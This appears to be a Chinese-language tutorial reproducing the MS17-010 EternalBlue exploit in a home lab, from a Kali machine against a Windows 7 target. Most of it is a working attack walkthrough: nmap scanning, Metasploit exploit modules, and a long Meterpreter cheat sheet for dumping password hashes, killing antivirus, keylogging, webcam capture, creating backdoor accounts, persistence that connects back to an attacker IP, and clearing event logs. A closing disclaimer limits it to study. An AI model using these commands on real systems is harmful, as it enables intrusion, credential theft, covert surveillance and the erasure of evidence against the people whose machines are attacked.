MS17-010(永恒之蓝)漏洞复现和分析
一、漏洞简介
1、永恒之蓝介绍:
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件
2、漏洞原理:
永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。不法分子就能在其电脑或服务器中植入勒索病毒、窃取用户隐私、远程控制木马等恶意程序。
3、影响版本:
WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
二、漏洞复现
环境:
- 攻击机:Linux Kali (IP:192.168.88.165)
- 靶机(目标机):Windows 7 (IP:192.168.88.166)
复现过程:
1、主机发现:使用nmap进行c段扫描
nmap -sP 192.168.88.0/24
2、端口发现:使用nmap进行端口扫描
nmap -sS -sV -A -T5 -p- 192.168.88.166
能看到445端口是打开的,目标机的防火墙也是关闭的。
3、进入msf框架
msfconsole
search ms17-010
这里有两个工具,一个攻击,一个扫描,通常先扫描再攻击
4、使用扫描模块扫描
use 3 //使用3模块
set RHOSTS 192.168.88.166 //填写参数
run //执行
说主机很可能能够被MS17-010使用。
5、使用攻击模块
use 0
show options //查看参数
set RHOSTS 192.168.88.166
run
攻击成功
6、后渗透阶段
输入shell,就能进入到windows的shell界面
从shell退出到meterpreter,输入exit
从meterpreter退出到MSF,输入background
输入sessions -l 查看我们获得的shell
输入sessions -i 1就能切换到id为1的shell
在meterpreter >中,我们可以使用以下命令来实现对目标的操作
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接
192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev #清除日志
其他命令大家可自行尝试
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump #dump出所有用户的hash
查看目标主机是否运行在虚拟机上
关闭杀毒软件
访问文件系统
meterpreter非常多的文件系统命令都基本和linux类似。
下载/上传文件
download file 从目标主机下载文件
upload file 上传文件到目标主机
权限提升
有时候我们得到的用户权限非常低,这时候我们就需要提权(这里我是最高权限了)
运行程序
查看目标主机安装了哪些应用(我们刚装的靶机,所有应用少)
可以使用execute命令在目标系统中执行程序
可选参数:
-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i: 跟进程进行交互
-m:从内存中执行
-t: 使用当前伪造的线程令牌运行进程
-s: 在给定会话中执行进程
屏幕截图
创建新账号
先查看目标主机有哪些账号
在目标机中创建一个新的账号
创建成功了,但是报错了
我们也可以在shell里面创建用户
开启远程桌面
当我们有一个账号,就可以用远程桌面进行登录了
使用扩展库
生成持续性后门
因为 meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接,这样太麻烦了。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。
通过启动项启动
我们生成一个后门木马,放到启动项中
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
通过服务启动
我们可以运行命令
run persistence -X -i 5 -p 8888 -r 192.168.88.165
就会在目标机中看到一个.vbs文件,缺点是容易被杀
清除事件日志
文章仅限学习参考,不得用于非法使用
版权归原作者 wangii.. 所有, 如有侵权,请联系我们删除。